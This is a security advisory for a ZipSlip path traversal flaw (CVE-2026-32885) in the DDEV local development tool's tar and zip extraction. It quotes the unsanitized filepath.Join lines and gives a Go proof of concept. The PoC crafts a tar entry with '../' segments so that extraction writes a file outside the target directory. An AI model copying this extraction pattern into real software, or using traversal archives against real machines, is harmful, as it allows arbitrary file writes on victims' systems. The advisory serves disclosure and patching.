github.com/ddev/ddev
Affected
- introduced
0, fixed1.25.2(semver)
Fixed versions
1.25.2
Fix
- Fixed version
1.25.2go get github.com/ddev/[email protected]
Advisory
Also known as: CVE-2026-32885, GO-2026-5735
DDEV has ZipSlip path traversal in tar and zip archive extraction
Summary
The DDEV local dev tool has unsanitized extraction in both Untar() and Unzip() functions in pkg/archive/archive.go. This flaw allows users to download and extract archives from remote sources without path validation.
Vulnerable Code
pkg/archive/archive.go:235 (Untar):
fullPath := filepath.Join(dest, file.Name) // NO SANITIZATION
pkg/archive/archive.go:342 (Unzip):
fullPath := filepath.Join(dest, file.Name) // NO SANITIZATION
Both functions create directories via os.MkdirAll and files via os.Create using the unsanitized path.
Impact
Local development tool that downloads and extracts archives from remote sources (add-ons, updates). Malicious archive → arbitrary file write on developer machine.
Proof of Concept
package main
// PoC: ddev/ddev CWE-22 — ZipSlip in tar archive extraction
// Replicates the exact pattern from pkg/archive/archive.go:235 (Untar)
// and pkg/archive/archive.go:342 (Unzip) — both use filepath.Join(dest, name)
// without verifying the result stays under the destination directory.
import (
"archive/tar"
"bytes"
"fmt"
"io"
"os"
"path/filepath"
)
// Vulnerable extraction — mirrors pkg/archive/archive.go:235
func untarVulnerable(dst string, r io.Reader) error {
tr := tar.NewReader(r)
for {
header, err := tr.Next()
if err == io.EOF {
break
}
if err != nil {
return err
}
// VULNERABLE: identical to archive.go:235
// fullPath := filepath.Join(dest, file.Name)
fullPath := filepath.Join(dst, header.Name)
switch header.Typeflag {
case tar.TypeDir:
os.MkdirAll(fullPath, 0755)
case tar.TypeReg:
os.MkdirAll(filepath.Dir(fullPath), 0755)
f, _ := os.Create(fullPath)
io.Copy(f, tr)
f.Close()
}
}
return nil
}
func main() {
// Build malicious tar with traversal entry
var buf bytes.Buffer
tw := tar.NewWriter(&buf)
payload := []byte("# PoC: ddev/ddev CWE-22 path traversal\n")
tw.WriteHeader(&tar.Header{
Name: "../../../../../../tmp/ddev_cwe22_poc",
Mode: 0644,
Size: int64(len(payload)),
})
tw.Write(payload)
tw.Close()
// Extract into temp directory
extractDir, _ := os.MkdirTemp("", "ddev-poc-*")
defer os.RemoveAll(extractDir)
untarVulnerable(extractDir, &buf)
// Verify escape
escaped := "/tmp/ddev_cwe22_poc"
if data, err := os.ReadFile(escaped); err == nil {
fmt.Printf("[!!!] VULNERABLE — file written to: %s\n", escaped)
fmt.Printf("[!!!] Content: %s", string(data))
os.Remove(escaped)
} else {
fmt.Println("[OK] Not vulnerable")
}
}
Output:
[!!!] VULNERABLE — file written to: /tmp/ddev_cwe22_poc
[!!!] Content: # PoC: ddev/ddev CWE-22 path traversal
> Note: Both Untar (archive.go:235) and Unzip (archive.go:342) use the same filepath.Join(dest, file.Name) pattern without containment checks. This PoC demonstrates the tar path; the zip path is analogously exploitable.
Suggested Fix
Add path containment check in both Untar and Unzip functions.
Credit
Kai Aizen (SnailSploit) — Adversarial AI & Security Research
Medium Basis: The source's own band: MODERATE
0, fixed 1.25.2 (semver)1.25.2
1.25.2go get github.com/ddev/[email protected]Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.
Check your own computer: guard packages check
Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0